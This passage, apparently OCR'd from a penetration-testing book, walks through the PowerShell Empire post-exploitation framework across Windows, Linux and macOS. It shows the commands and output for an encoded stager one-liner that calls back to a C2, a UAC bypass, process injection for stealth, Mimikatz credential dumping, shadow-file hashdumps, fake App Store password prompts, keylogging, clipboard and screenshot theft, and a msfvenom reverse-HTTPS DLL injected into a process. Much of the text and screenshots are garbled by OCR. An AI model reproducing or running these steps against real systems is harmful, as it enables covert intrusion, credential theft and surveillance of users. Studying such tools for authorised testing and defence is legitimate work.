[(Empire) = usestager multi/launcher

(Empire: Y >

We can see the options required for the stager creation using the info command:



‘® @ Harry — harry@FuzzerQS: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — harry@Fuzzer0S: ~ — ssh harry@192.168.2.24 ==

[(Empire:

Name: Launcher

Description:
Generates a one-liner stage® launcher for Empire.

Options:

Name Required Value Description

ProxyCreds False default Proxy credentials
([doma username: password) to use for
request (default, none, or other).

Language True powershell Language of the stager to generate.

Base64 True True Switch. Base64 encode the output.

OutFile False File to output launcher to, otherwise
displayed on the screen.

Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.

ObfuscateCommand False Token“~Al1%\1, Launcher*STDIN++.12467The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.

SafeChecks True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.

StagerRetries False Times for the stager to retry
connecting.

Listener True Listener to generate stager for.

Proxy False default Proxy to use for reguest (default, none,
or other).

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

There are a few required options here, and they are all marked as true. Let's set
the Listener Option so that once this stager is executed, it will connect back on to
the HTTP listener that we created in the previous phase. Execute the following
command to set the listener:

| set Listener http

(Empire: ) = set Listener http

[(Empire: Y s 7

Now that the listener is embedded in the stager code, let's create the stager using
the execute command. This will give us a one-liner command:



[ XoN ) Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 ~ — harry@Fuzzer0S: ~ — ssh harry@192.168.2.24

[(Empire: ) = execute 1
powershell -noP -sta -w 1 -enc SOBmACgAJABQAFMAVGB1AHTAUWBJAGBATgBUAEEAQGBMAEUALgBOAFMAYBTAHTAUWBPAEBAbGAUAERAYOBGAESAUGAGACOARNWE FACAAMWADAHS
AJABHAFAARGAIAFSAUGBFAGYAXQAUAEEAUWBZAEUATOB i AEwAeQAUAECAZQBOAF QA(BOAEUAKAANAFMAR(BZAHOAZ OBt ACAATOBhAGAAY(BNAGUAD(OB 1 AGAAJAAUAE EAD(OBBAGSADOBhAH
0AQ(BVAG4AL gBYAHOAGOBSAHMAIWAPACAAT gBHAGUAVABGAGKAZOBAEWARAAT ACGAIWE ] AGEAYWBOAGUAZ ABHAHT AbvB1AHAAUABYAGWAQQB j AHKAUWB 1L AHQAdABPAGAAZWBZACCALAANA
E4AIwArACCADWBUAFAADOB i AGWAQDB ) ACWAUWBOAGEAdABPAGMAIWAPADSASOBMACGA I ABHAFAARGAPAHSAJABHAFAAQWASACQARWBOAEYAL gBHAGUAdABWAG EATABVAEUAKAAKAGAAOBS
ABEWAKQA7 AEKAZ gA0ACOARWBOA EMARWANAFMAYWBYAGKACABBAETAIWArACCADABVAGMAGWBMAGBAZWBNAG kA GBNACCAXQAPAHSAJABHAFAAQWBbACCAUWS j AHTAQOBWAHQAQGANACSAIWE
SAGBAYWBrAEWAbRBNAGCAQQBUAGCAIWBAAFSAIWBFAG4AYOB 1 AGWAZOBTAGMACGBPAHAAGABCACCAKWANAGWADWE J AGSATABVAGCAZWBPAGAAZWANAFOAP QAWADSAJABHAFAAQWBDACCAUW
Bj AHTAGQBWAHOAQQANACSATWBSAGBAYWB rAEWADWBNAGCAGQBUAGCAIWBAAFSATWBFAGAAY (B 1 AGWAZOBTAGMACGBpAHAAdABCAGWADWE j AGSASOBUAHYAbwB JAGEAdABpPAGBAbGBMAGBAZ
wBnAGkAbgBNACCAXOAIADAATOAKAFYAY)BMADGAWWBDAESADABMAGUADWBOAEKAbWBOAFMAL gBHAEUATgBFAFTAGQBDAC4ARABPAEMAVABPAGBAbgBhAFTAe(OBbAFMAVABSAEKATgBHACWA
UwBSAFMAJAB1AGOAL gBPAETAagB 1 AGMAJABAAFOADgAGAE4AR OBXACGAK 0A7ACOAdgBhAGWAL gBBAEQAZAAOACCARQBUAGEAYGBSAGUAUWE J AHTAGQBWAHOAQGANACSAIWBSAGBAYWBrAEW
AbwBnAGCAaOBUAGCATWASADAAKOA7ZACQAVBhAEWALgBBAEQARAAOACCAROBUAGEAYgBSAGUAUWS j AHIAGOBWAHQAQgBSAGBAYWBrAEKADgBZAGBAYWBhAHOAQ)BVAGAATABVAGCAZWBPAG
AAZWANACWAMAAPADSAJABHAFAAQWBDACCASABLAEUANOB FAEWATWBDAEEATAB TAERAQOBDAEGAS 0BOAEUAXABTAGBAZ gBBAHCAY)BYAGUAXABOAGBADABPAGMAT)B LAHMAXABNAGKAYWBYA
GBACWBVAGYAdABCAFCAAQBUAGQAbWB3AHMAXABOAGBAdWB LAHTIAUWBOAGUADABSAFwWAUWB j AHTAGQBWAHOAQQANACSATWBSAGBAYWB rAEWADWBNAGCAQQBUAGCAIWBAADOAIABZAEEATABY
AEUATABzAGUAewBbAFMAQWBSAGRAUABUAEIADABPAGMAGWBAACAAT gBHAEUAdABGAGKAZ OBgAGWARAATACGAIWBZAGKAZWBUAGEAdABIAHTAZBZACCALAANAEAAIWArACCADWBUAFAAI)DB
1AGWAQ0B j ACKAUWBBAGEAdABPAGMAIWAPACAAUWB FAHOAVIBBAGWAV)B LACgAABOAHUATABMACWAK ABOAGUAVWA EAESBAY gBgAEUATWBUACAADWBVAGWADAB FAEMAdABPAESADgBTACAARW
B1AG4AZ(OBYAGKAYWAUAEGAQQBZAEQAUWB 1AFQAMBZAHQAUGB JAGAAZWBAACKAKQBOAFSAUGBFAGYAXQAUAE EACWBTAEUATOB 1 AGWAWQAUAECAZ OBOAFQACOBQAEUAKAANAFMAROBZAHQAZ
0BtAC4ATOBhAGHAYQBNAGUADOBLAGAAdAAUAEEAOBOAGBADOBhAHQANOBVAGAALGBBAGBACKBPAFUADABPAGWACWANACKATAA/ AHSAJABFAHDATAALAHSAIABTACAARWE LAFOARGBPAGUA
TABEACgAIWBhAGBACWBPAEKADgBPAHOAR gBhAGKADAB1AGOAIWASACCATYBVAGIAUABIAGIADABPAGMALABTAHOAY(BBAGKAYWANACKALgBTAEUAVABRAGEATABIAGUAK AAKAEAAVOBSAEW
ALAAKAHQACGBIAEUAKOBIADSAFOAZAFSAUNBSAFMAVAB LAEQAL gBOAEUAdAAUAFMAROBYAHYAQQB jAGUAUABVAGKAT gBOAEDAY(QBUAEEARWBFAFTAXQAGADOARQBYAHAAR(QB j AHOAMOAWAD
AAQWBVAGAAVABIAE4ADOB LADOAMAAZACOAVABDADDAT B 1AFCALOBPAGIAGgB 1 AGMAIAAGAFMAL OBTAHOAZ 0B ACAATYBFAHOALgBXAGUAQGBDAGWASOBFAGAAVAAZACOACQAIACCATOBVA
HoAaQBSAGWAYQAVADUALgAWACAAKABXAGkADGBKAGBAdWBZACAATGBUACAANGAUAD EAOWAGAF CATWBXADYANAA7 ACAAVABYAGKAZAB 1 AGHAdAAVADCAL gAWADSATABYAHYAOgAXADEAL gAw
ACKATABSAGKAaWB 1 ACAARWB 1 AGMAGWBYACCAOWAKAFCAQWAUAEGAZ OBhAEQAROB SAHMAL gBBAEQARAAOACCAVOBZAGUACGALAEEAZWB LAGAAdAANACWAJABIACKAOWAKAFCAYWAUAFAAUGB
VAFgAeQAIAFSAURBSAHMAVAB LAGBALgBOAGUAJAAUAFCAROBCAFTAROBXAHUAZ(OBZzAHQAXOAGADOARAB I AEYAY(BVAEWAJABXAEUAY gBOAHTIATWBY AHKAOWAKAHCAQWALAFAAUGBPAFGAND
AUAEMACGB1AG)AROBOAHOAG)BBAEWAUWAGADBATABDAFMA(BZAHOAR 0B tACAATgB1AHOAL gBDAHTAR(QBEAEUATgBUAEKAY(BSAEMAQOBDAEgAZ 0BdAD0AOGBEAGUARgBBAFUADABUAEAAZ
QBUAFcAbwBYAESAQWBYAEUAZABFAE4AdABIAGEADABTADSAJABTAGMACGBPAHAADAAGAFAACGBVAHAROAGADDATAAKAHCAYWALAFAACGBVAHgAC QA7 ACQASWASAF SAUWBSAFMAVABFAEQA
LgBUAGUAABUACAAROBOAEMATABEAGKAT gBHAFOAOgAGAEEAUABDAEKAS QAUAECAROBUAET AcQBOAGUAUWAOACCAUAABACSATARWAD SACABKACBADABYAE4AOGA J ADOAbWE +ADMAFAB JAHE
AWgA+ADTAdOQA/ AEQALGAGAEEANGBEACCAKQAZACOAUGAIAHSATABEACWAIABLADGAIABBAHTARWBZADSAJABTADGAMAAUACAAMGATADUAOWAWACAAL gAYADUANOBBACUAeWAKAEOAPQAOAC
0ASgArACOAUWBLACOAXWBAACSAJABLAFSAJAB FACUAJABLACAAQWB vAHUADgBUAFBAK QATADTANQAZADSAIABTAF SAJAB FAFAALAAKAFMAMAAKAE0AXQAIACQOAUWBDACQAS gBAACWAIABTA
FsAJABTAFDAFQAZACOARABSACUAWAKAEKAPQAOACOASOArADEAKOATADTANQAZADSAJABTADOAKAAKAE gAKWA KA F MAMAAKAEKAXQAPACUAMGATADYAOWAKAFMAWMNKAKAE KAXOASACOAUWBDL
ACQASABAADOAIABTAFSAJABIAFOALAAKAFMARAVAKAEKAX QA7 ACOAXWATAETAeABVAHTAJABTAFSAKAAKAFMAMMAKAEKAXQAPACOAUNBDACOASABAACKAT0AYADUANGBAAHOATQAZACOACKHE
LAHIAPQANAGIAdABRAHAADGAVACBAMOASADTIAL gAXADYACAAUAD TAL gAYADOADGALADAAIWAT ACOAdAAIACCAL WBSAGBAZWB PAGHAL WBWAHTAbWB jAGUACWB Z ACAACABOAHAAIWAZACOAdwW
BDAC4ASAB|AGEAZABFAFTAUWAUAEEAZABEACGATgBDAGSADWB AGKAZ QAT ACWAT gBZAGUACWBZAGKADWBUADDAYGBSAGSATWBIAEUAYBSAEYAdgB LAGYAVABNAETACWB FAEYACABZAFMAA
wBOAFUATOBVADgAPQA T ACKAOWAKAGOAQOBUAEEAPQAKAF CAQWAUAEQATWBXAGAADABVAEEAZABEAGEAVABBACGATABTAEUAUGArACOAVAAPADSAIABPAFYAPQAKAGOAYOBOAE EARAAWACAA
LgAzAFOAOWAKAGOAQOBUAGEAPQAKAGOADOBBAE EAMWABACAAL gAKAGOAYOBBAGEAL gBSAEUADGBHAFQAQABADSAL 0BKAGBASOBOAFSAQWBOAGEACGBDAFDAXQAOACYATAAKAFTATAAKAGD
AYQBUAEEATAAOACQASOBWACSAIABLACKAKOBSAEKAROBYAA-=

The stager is ready for execution on the target server now. Let's look at the next
phase.



Phase 3 — Stager Execution

In this phase, the one-liner command will start the staging process for Empire.
The following is the staging process in Empire, which takes place when the
stager is executed on the target server:

1. When creating a one-liner launcher (stager), Empire embeds the staging key
into the launcher itself:

Control Server Client
1. GET /<stage0>

. 2. return key negotiation stager.ps1 w/ shared AES B i

staging key i

2. A stager executed on the target server requests Stage 0; that is, a patched
stager.ps1, which can be found in Empire's datasagent/ directory.

3. Before sending Stage 0 to the target server, Empire encrypts it. (Stage 0 will
be case-randomized and then XOR encrypted with the AES staging key.)

4. Launcher does the following things now:

Receives Stage 0 and decrypts it

Generates a RSA public/private key pair in-memory

Encrypts the RSA public key with the AES staging key

Sends the encrypted RSA public key (Stage 1) to the Empire C2

A=

3. gen priv/pub keys, post ENCstaging(PUB) to /<stage1>

4. return ENCpub(epoch + AES session key) -

B
|

5. Empire C2 receives the encrypted RSA public key and decrypts it using the
staging key to save the key for further communication.
6. Empire C2 now does the following things:

e Generates an AES session key for agent's session management.
e Gets its Epoch time.
e Encrypts (Epoch time + session key) with RSA public key.



e Sends the encrypted Epoch time and session key to the target server:

5. decrypt session key, post ENCsession(sysinfo) to /<stage2> i

6. return ENCsession(agent.ps1) patched with key/delay/etc.
and register agent. Agent starts beaconing. g

7. The target server receives the encrypted values and decrypts them using the
RSA private key.

8. The target server gathers basic system information, encrypts this
information using the newly received AES session key, and sends it back to
the Empire C2 (Stage 2).

9. Empire C2 decrypts the information received using the AES session key
and sends the patched agent.ps1 with the key, delay, and so on, to the target
server. (This can be found in Empire's data/agent/ directory.)

10. The agent starts its beaconing behavior. (The agent will call back to Empire
C2 after a few seconds.)

When the stager is executed onto the target server, the stager will call back to the
Empire C2, requesting Stage 1 and Stage 2:

| NON
(Empire:

Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143

When Stage 2 is complete, the agent will begin the beaconing process.



Phase 4 — Acquiring Agent

When the stager is executed on the target system, the Agent will connect back to
the Empire Listener. We can view the active agents using the agents command as
follows:

0@
(Empire: ) = agents

Harry — harry@Fuzzer0S: ~/Empire — ssh harry®192.168.2.24 — 143x37

Name La Internal IP Machine Name Username

PT-PC\PT

Process PID Delay Last Seen

powershell

(Empire: ) =

A live agent will give us the following information when the preceding
command is executed:

Name of the agent (Name)

Launcher used by the stager (La) - PowerShell or Python
Internal IP

Machine name

Username with the domain

Process

Process ID (PID)

Delay with jitters

Last seen

Instead of using the agents command, we can also use the 1ist command to see all
of the available agents. However, this will only work if we are in the agent's
menu (Empire: agents)Z



just a 2:

(Ckilldate [agent/all] @

nt/all] [number of miss
the main menu
T agent

rom a file,

all] interval [jitter]'

(Empire:

We can also rename the agent name according to our needs by executing the
renane command as follows:

To discover more about the agent, we can use the interact command to interact
with an agent, and then use the info command to get more information regarding
the chosen agent:



(Empire:

We now have an active agent connected to our Empire C2, just like a
Meterpreter session opened in Metasploit. We can now interact with the agent
for further post exploitation.



Phase 5 — Post Module Operations

Once the agent is connected back to the Empire C2, we can start with our post
exploitation process using the Empire modules. The post exploitation modules
can be categorized into two parts:

e PowerShell-based post modules
e Python-based post modules

Let's see the following table to get more clarity about the post modules in
Empire and how they are further categorized:

Module category PowerShell Python

Code Execution X

Collection

Credentials

Exfiltration

Exploitation

Lateral Movement

Persistence

Management

Privilege Escalation

Situational Awareness

Trollsploit

S IR I N ) B O B 0 s B I

Recon

Every module category mentioned in the preceding table has sub-modules in it.



For example, code execution has the following modules available in Empire:

® invoke_dllinjection Will inject a DLL into the process ID of your choosing

® invoke ntsd uses NT Symbolic Debugger to execute Empire launcher code

® invoke_shellcode Will inject shellcode into the process ID of your choosing, or
within the context of the running PowerShell process

® invoke_metasploitpayload will Spawil a New, hidden PowerShell window that
downloads and executes a Metasploit payload

® invoke_reflectivepeinjection will l‘EﬂECtiVElY load a DLL/EXE into the
PowerShell process or reflectively load a DLL into a remote process

® invoke shellcodemsil Will execute shellcode within the context of the running
PowerShell process, without making any Win32 function calls

Now let's explore some post exploitation scenarios for different operating
systems.



Empire post exploitation for
Windows

Assuming that we have already got an agent connected to us, we will now
perform post exploitation on Windows OS when the agent's security context is
low. As demonstrated in the following screenshot, we have got an agent which
has low privileges (high_integrity: O)Z

@® [ ] Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x37
(Empire: ) = interact W8ZAH79Y
[(Empire: = info

524649911515087/8
0.0

None

192.168.2.9

0z {kiW+: dDP4S01:-$1erT*8E[D1C/3! -
None

2018-08-28 22:56:05

PT-PC

1

5
PT-PC\PT

None

powershell

http

344
/admin/get.php, /news.php, /login/process.phplMozilla/5.0 (Windows NT
6.1; Wowed; Trident/7.0; rv:11.0) like Gecko
Microsoft Windows 7 Ultimate

60

None

W8ZAH/ 9V

powershell

192.168.2.9

W87AH/ 9V

2018-08-28 22:57:01

2

0

(Empire:

We can elevate the privileges using the privilege escalation modules in Empire.
For this scenario, we will be USng the bypassuac_eventvwr module.



To execute this module, use the bypassuac command and the listener as the
argument passed {0 bypassuac_eventvwr:

[ NN Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143=37
(Empire: )} = bypassuac http

(Empire: Y =

Job started: 4SV8DT

The same thing can be achieved using the following commands:

| usemodule privesc/bypassuac_eventvwr

~ — -bash ../datafagent — harry@openvpn: ~ — -bash ...opempn; ~ — ssh harry
(Empire: 3 > usemodule priv YPOSSUAC_eventvwr
(Empire:

This will bring us to the bypassuac_eventvwr Mmenu.

Let's execute the info command to see the options available in this module:



(Empire:

Options:

Name Required Value

defaul

y run module on.

The Listener field is required here, so let's set up the listener using the following
command:

| set Listener http



Listener http

MinLang

ck on the . file
» files are dropped

Opti
Name

defaul t t
def
defaul t oxy to use for request (defa

A new agent will be connected back to the Empire C2 with a higher security
context once the module is successfully executed:

@

®
[(Empire: ) = list agents

Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x37

Name La Internal IP Machine Mame Username Process 3 Last Seen

W8ZAH79V ps 192.168.2.9 PT-PC PT-PCWPT powersheall

731LH26E ps 192.168.2.9 PT-PC *PT-PCWPT powershall

(Empire: ) >

The + in front of the username means this is a high integrity agent (also known as
a privileged agent). Empire also has a very interesting feature named



workinghours. This will Get or Set an agent's working hours (9:00-17:00). Execute
the following command to use this feature:

workinghours

(Empire: J} = workinghours

(Empire: ) >
agent working hours: WORKING_HOURS_REPLACE

The agent will now only connect back to us according to the target server's
working hours. Because of this, it is better to stay hidden for longer.

Let's interact with a high integrity agent for further post exploitation:

[ N
(Empire:

Harry — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 — 143x37

Hame La Internal IP Machine Name Username Process Delay Last Seen

W8ZAH79V ps 192.168.2.9 PT-PC PT-PC:PT powershell
731LHZ6E ps 192.168.2.9 PT-PC *PT-PCWPT powershell

(Empire: 3 = interact 731LHZ6E
(Empire: ) >

The agent connected back with the Empire C2 using the PowerShell process.
This also means that any user on the target server can detect the powershell.exe
process in their task manager. To stay hidden, it's always a good idea to migrate
to another process. In Metasploit, this can be achieved by using the migrate
command but unfortunately, Empire doesn't have a direct way to perform
process migration. However, Empire does have process injection supported, so
let's use process injection as a workaround for process migration.

Let's first list all the processes on the target server using the ps command:



[ ] @ Harry — harry@Fuzzer0S: ~/Empire — ssh
~ — harry{@Fuzzer05: ~/Empire — ssh harry@192.168.2.24 ~ — msfconsole -r rev_https
[(Empire: ) = ps

(Empire: Y =
ProcessHame F UserHame MemUsage

System G N/A

conhost 5 RI-BC Bl

SMSS 5 NT AUTHORITY\SY
STEM

svchost 3. b NT AUTHORITY-LO 17.39 MB
CAL SERVICE

PT-PC\PT
cwm y ! PT-PCPT
nhost : / BT_PCAPT

(Empire: E
(Empire: ) > psinject

(Empire: ) > psinject Empire 1048

(Empire:

At this point, the new agent connects back to the listener:



(Empire:
Job started:

Let's check the newly connected agent to confirm whether or not the process
injection worked:

(Empire: 3 = list agents

Mome La Internal IP

CEmpire:

We can look for the saved credentials in Empire using the creds command:

\(Empire: ) = creds

CredID CredType Domain  UserName Password

We don't have any credentials saved for now, so let's run mimikatz to gather
credentials. By default, Empire uses the mimikatz logonpasswords module.

To execute Mimikatz, run the mimikatz command as follows:



[ ] @ Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24
~ — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 ~ — msfconsole -r rev_https_handler_8080.rc
[(Empire: )} = mimikatz

Upon successful execution, the plain text password is retrieved and stored:

 $-1-5-721-3881186481-1336627236-1975937850-1001

msy :

[00000003] Primary

Username : PT

* Domain @ PT-PC

* LM : dc33fac2e34c9437aad3b435b51484 e

* NTLM : ee206513a3facf8228b7dbbff8302cef

* SHAL : 05e6d9fb6e1135365c49339b68ab56175f fad9cy
tspkg :

* Username : PT

* Domain @ PT-PC

* Password : harry
wdigest :

* Username : PT

* Domain @ PT-PC

* Password : harry

kerberos :

* Username : PT

* Domain 1 PT-PC

* Password : harry

Now let's check the stored credentials again:

XK Harry — harry@Fuzzer0S: ~/[Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — msfconsole -r rev_https_handler_8080.rc
[(Empire: ) = creds

CredID CredType Domain UserName Password

hash PT-PC eeZ06513a3facf8228b7dbbf£8302cef
plaintext PT-PC harry




The credentials are now stored. These credentials can further be used in post
exploitation.



Empire post exploitation for Linux

Empire also supports Python-based modules. This means that any OS which has
Python installed on them is supported as well. Let's take a look at how we can
perform post exploitation on Linux using Empire.

To begin with, let's create a one-liner stager for Linux. This can be achieved by
using a Bash launcher. To use the Bash launcher, execute the usestager multi/bash
command and info command to view its options:

'® & Harry — harry@ | i me — 55h DAMMYE e e e s = 143241

~fdnscan — -bash ~ — -bash ~ — harryg : +—5sh harry@ — ... .eo.w

Options:

Name

Li ner
OutFile

oy thon
default

(Empire:

Let's follow the usual process. Start by setting the listener and generating the
one-liner stager using the execute command:




Once the stager is executed on the target Linux server, the staging process will
begin:

(Empire;

A new agent is connected back to the Empire C2:

Let's interact with the agent and get the basic system information using the
sysinfo command:

From the agent list, we can see that the agent is not a high integrity user. We
need to perform privilege escalation here. Empire has another privilege
escalation module based on Python 1inux_priv_checker. This module will do a full
system enumeration to find common privilege escalation vectors. To use the
module, execute the following command:

| usemodule privesc/linux/linux_priv_checker



) » usemodule privesc/linux/linux_priv_checker
) » info

Name: LinuxPrivChecker
Module: python/privesc/linux/1inux_priv_checker

NeedsAdmin, False
Opsecsafe; True

Language: python
MinLanguageVersion: 2.6

Background: False
OutputExtension: None

Authors:
@Killswitch GUI
@SecuritysSift

Description:
This script 1s intended to be executed locally ona Linux box
to enumerate basic system info, and search for
commonprivilege escalation vectors with pure python,
Comments:
For full comments and code:
WwWi . securitysift, com/download/1inuxprivchecker. py
Options:

Name Required Value Description

Agent True T3DXBIIP Agent to run on.

Once the module is executed, the enumeration begins:




As shown in the preceding screenshot, we found a kernel exploit here.
Consequently, we uploaded the payload and executed our launcher in the new
security context. The result of this is that we are now root!

The next thing to acquire is the passwords. Unlike Windows, Mimikatz doesn't
run on Linux. Instead, Empire supports another module called hashdump. (Empire
also supports a module known as mimipenguin Which can extract plain-text
passwords. For more information, refer to: https://github.com/huntergregal/mimipengui
n). This extracts the /etc/passwd and /etc/shadow file and then unshadows the result.
This module can be executed using the following command:

| usemodule collection/linux/hashdump*


https://github.com/huntergregal/mimipenguin

(Empire; ) ¥ usemodule collection/linux/hashdump®
(Empire;

fcollection/Tinux/hashdump

MinLang
B
OutputExtenss

Authors:
@harmi0y

Description:
Extracts the /etc/passwd and /etc/shadow, unshadowing the

result.
Options:
Name Required  Va Description

HPMED 2 1R Age 0 cute module on.

The ~ (asterisk) in the module name means that the module will only run with a higher

0 security context (higher privilege).

Upon execution of the module, the unshadowed result is displayed as follows:

rry, ., ./home/harry:/bin/ba

There are multiple collection modules which can be used for further information
gathering and internal network exploitation.



Empire post exploitation for OSX

Next in line is the post exploitation of macOS using Empire. There are some
cool modules for OS X, and to see their magic, let's first get our stager ready. For
stager creation, we can either choose the default launcher muiti/iauncher or the
OSX launcher osx/1auncher. The only difference between these two launchers is
their available options. Unlike multi launcher, OSX launcher doesn't have proxy
and obfuscation support. Let's execute the following command in order to use
OSX launcher:

usestager osx/launcher
info

(Empire:
(Empire:

Wame: Launcher

5 a one-liner st launcher for Empire.

Required

output
diemsth
default 3

A Python one-liner command will be generated, and once this one-liner is
executed on the target server, we'll get the agent connection:



(Empire;

Now let's confirm the agent:

(Empire:

Now that we have the agent, let's interact with the agent and execute the sysinfo
command to retrieve system information:

The collection module has many options to choose from. In this case, let's
choose the prompt module:

The prompt module will launch a specified application with a prompt for
credentials. By default, this module will open in the Mac App Store and prompt
the user to provide their credentials. Execute the following command to use the
prompt module:

usemodule osx/collection/prompt
info



odule collec

n/collectic

ication with an prompt for

ithub.com/ bl . nyourLife
Options:
EIE
suitable for
e prompt

ion to launch.

Use the execute command to start the module. Note: this module will ask for
credentials from the user which means that this is not a stealth module; that is, it
is not opsec-safe. If the user finds this odd, you could get caught:

(Empire:

(Empire:

Upon successful execution, the App Store will open on the user's screen and a
prompt for a password will be displayed:



App Store Alert

g Ever no te Complete Anatomy 2019

P App Store requires your password to continue.

Cancel | LN

New Apps and Games We Love Sae Al Quick Links

— "
Boom 3D: Surround So r" A | Fantastic Chefs (2 4 Donut County
Music ) ‘F{‘J Game I, Games
o A
(2 )
= =
App P - n-App Purchases

| 7 Billion Humans

Once the user inputs their credentials, they will be phished back to Empire C2:

(Empire: )
button returned: 0K, text returned: test

123

There's another module which lets us copy the content from the target system's
clipboard. Let's execute the following command to run this module:

usemodule collection/osx/clipboard
info



semodule collectio

wut (or

Options:
Name

OutFile alse t 5 the clipboard

would like to

Upon successful execution, we'll be able to see the content that is saved in the
clipboard.

nd don\u2019t share it with anyone. Thanks'

We can also use the screenshot module to take a screenshot of the user's screen.
This can be achieved either by executing the osx_screenshot command directly into
the agent or by USiIlg the usemodule collection/osx/native_screenshot command. Note
that this module uses Python Quartz libraries to take the screenshot, and it also
saves the screenshot to the target server which is not opsec-safe. Once taken, the
screenshot will be downloaded from the target server to Empire C2.



(Empire:

(Empire:

Output

(Empire:

Upon successful execution, the screenshot will be downloaded locally and we
can then view the file:

There are not many privilege escalation modules for OSX, but we can phish the
user's credentials either through a prompt module or via a keylogger. Let's phish
a user's credentials using a keylogger, executing the following command to set it

up:

usemodule collection/osx/keylogger
info



) ¥ usemodule collection/osx/keylogger
) ¥ info

Name: Keylogger
Module: python/collection/osx/keylogger

NeedsAdmin, False

Opseciafe: False

Language: python
MinLanguageYersion: 2.6

Background, False
OutputExtension: None

Authors:
joev
Bharmjly

@Salbet_

Description:
Logs keystrokes to the specified file. Ruby based and

heavily adapted from M3F's osx/capture/keylog recorder. Kill
the resulting PID when keylogging is finished and download
the specified LogFile.

Comments:
https://github. com/gojhonny/metasploit-framework/blob/master
/modules/post/osx/capture/keylog recorder.rb

Options:
Name  Required  Value Description

/tmp/ . debug . db Text file to log keystrokes out to.
Agent  True M39WR3CH Agent to keylog.

Once executed, the keylogger will start logging the keystrokes. When the user
enters their password, the entered keystrokes will be saved in the /tmp/.debug.db
file. This module will save the keystrokes on the target server, making it opsec-




unsafe:

(Empire:

(Empire:

Harry 52913 3.6 0.1 430 11796 013§ 1:35AM  0:00.11 ruby

kill ruby PID and download /tmp/. debug.db when completed

Now we just need to download the /tmp/.debug.db file, using the downioad command
as follows:

(Empire:; ) » download /tmp/. debug.db

(Empire:

Let's view the /tmp/.debug.db file to see everything that the keylogger has logged:

~F cat Empire/dow G/.debug. db

dow] - [2018-09-07 01:35:47 +0530]

cmd]t[shift]this is te[delite][delete]my new [shift]l; harryharryl

We found the password! Let's use this password to get a higher security context.
For this, we can use the sudo_spawn module, which will pop up a root shell. To use
this module, let's execute the following commands:



usemodule privesc/multi/sudo_spawn
info

set Password <the user password we just phished>
set Listener <available listener>

2 Empire
Options:

Name : i red Walue ) ription

default

Tru
odule on.

Now that the setup is complete, let's execute the module. The module will
elevate the security context using sudo and execute our launcher in that security
context. Keep in mind that this will not work if the user is a limited user:

(Empire:

(Empire:

We can list the agents to check the newly connected agent with high integrity:



5/0.0

python -c 304 5/0.0

With root privileges, we can now use the hashdunp module for OSX. This will
dump the encrypted passwords. Execute the following commands to setup the
hashdump module:

usemodule collection/osx/hashdump*

info
b ashdump*
(Empire:

MName:
ashdump

/*.plist

questions:

Options:

Name FRequired Yalue

Ute module on.

Upon successful execution, we'll get the password hashes.



Not many people are familiar with this tool, but most are comfortable with the
Metasploit framework. If this is the case, we can use Empire's obfuscated
launcher to bypass security restrictions, and once we get a agent connection, we
can spawn a Meterpreter session using Empire.



Popping up a Meterpreter session
using Empire

The concept of popping up a meterpreter session using Empire is very easy to
understand. Empire can inject code directly into the memory and execute it. We
just need to get an obfuscated shellcode or the o.L/exe generated by msfvenon and
inject the oLL/exe/shellcode into the memory using Empire. Let's first generate a
reverse shell DLL using msfvenom:

[ N ] & Harry — -bash — 143x36
~ — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 ~ — -bash ~ — -bash
x¥xZombi3x¥x:~ Harry$ msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.6 lport=8080 -f dl1 -o revs080.dl11
No platform was selected, choosing Msf::Module::Platform: :Windows from the payload

No Arch selected, selecting Arch: x64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 717 bytes

Final size of dll file: 5120 bytes

Saved as: rev808@.dll

x¥xZombi3x¥Xx:~ Harry$

Upload the malicious DLL using the upioad command:

| NN | Harry — harry@Fuzzer0S: ~/Empire — ssh
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — msfconsole -r rev_https_han
(Empire: ) = upload /home/harry/rev8080.dl1

(Empire:

We can now use the invoke_di1injection module for DLL injection. Let's execute
the following commands in order to use this module:

usemodule code_execution/invoke_dllinjection
info



[ N ] Harry — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — msfconsole -r rev_https_handler_8080.rc ~ — -bash
[((Empire: )} = usemodule code_execution/invoke_dllinjection

(Empire: ) = info

Name: Invoke-Dl1lInjection
Module: powershell/code_execution/invoke_dllinjection
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: Mone

Authors:
@mattifestation

Description:
Uses PowerSploit's Invoke-DLLInjection to inject a DIl into
the process ID of your choosing.

Commen
https: thub. com/mattifestation/PowerSploit/blob/master/Co
deExecution/Invoke-D1l1Injection. psl

Options:

Name Required Value Description

ProcessID True Process ID of the process you want to
inject a D11 into.

Agent True 731LHZ26E Agent to run module on.

Dll True Name of the dll to inject. This can be
an absolute or relative path.

(Empire: Vs

Set process1p Where you want to inject your DLL, and then set the DLL path
where you have uploaded the malicious DLL. The location can be an absolute
path or a relative path:

(Empire: ) = set ProcessID 1596
(Empire: : set D11 rev8080.dl1
(Empire: } = execute

(Empire:
System.Diagnostics.ProcessModule (revg8080.d11)

Before executing the module, let's start the handler on Metasploit. This handler
will listen for incoming connections on port sese:



Processing rev_https_handler_8383.rc for ERB directives.
